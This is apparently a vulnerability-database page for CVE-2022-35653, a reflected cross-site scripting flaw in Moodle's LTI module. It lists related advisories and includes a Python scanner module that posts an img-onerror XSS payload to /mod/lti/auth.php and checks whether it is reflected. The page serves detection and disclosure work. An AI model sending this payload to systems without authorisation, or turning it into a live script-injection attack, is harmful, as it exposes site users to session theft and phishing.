Moodle LTI module Reflected - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 67 |
|---|---|---|---|---|
| CVE-2022-35653 | 25 Jul 202216:15 | – | attackerkb | |
| The vulnerability of the LTI module in the virtual learning environment Moodle, which allows attackers to carry out phishing attacks or expose sensitive information | 10 Aug 202200:00 | – | bdu_fstec | |
| CVE-2022-35653 | 25 Jul 202220:33 | – | circl | |
| Moodle 跨站脚本漏洞 | 19 Jul 202200:00 | – | cnnvd | |
| Moodle Cross-Site Scripting Vulnerability (CNVD-2022-54914) | 21 Jul 202200:00 | – | cnvd | |
| CVE-2022-35653 | 25 Jul 202215:33 | – | cve | |
| CVE-2022-35653 | 25 Jul 202215:33 | – | cvelist | |
| [SECURITY] Fedora 36 Update: moodle-3.11.8-1.fc36 | 27 Jul 202202:24 | – | fedora | |
| [SECURITY] Fedora 35 Update: moodle-3.11.8-1.fc35 | 27 Jul 202202:35 | – | fedora | |
| Moodle LTI module reflected XSS risk | 26 Jul 202200:00 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A reflected XSS issue was identified in the LTI module of Moodle."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Moodle LTI module Reflected - Cross-Site Scripting Detection',
'description': "A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'moodle', 'xss', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-72299',
'https://nvd.nist.gov/vuln/detail/CVE-2022-35653',
'https://bugzilla.redhat.com/show_bug.cgi?id=2106277',
'https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3/',
'https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V/',
],
'cve': 'CVE-2022-35653',
}
def run(self):
path = '/mod/lti/auth.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='xxx"><img/src%3d\'x\'onerror%3dalert(\'document_domain\')>=1\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ("<img/src='x'onerror=alert('document_domain')>", 'moodle-editor',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='Moodle LTI module Reflected - Cross-Site Scripting detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.16.1
EPSS0.04842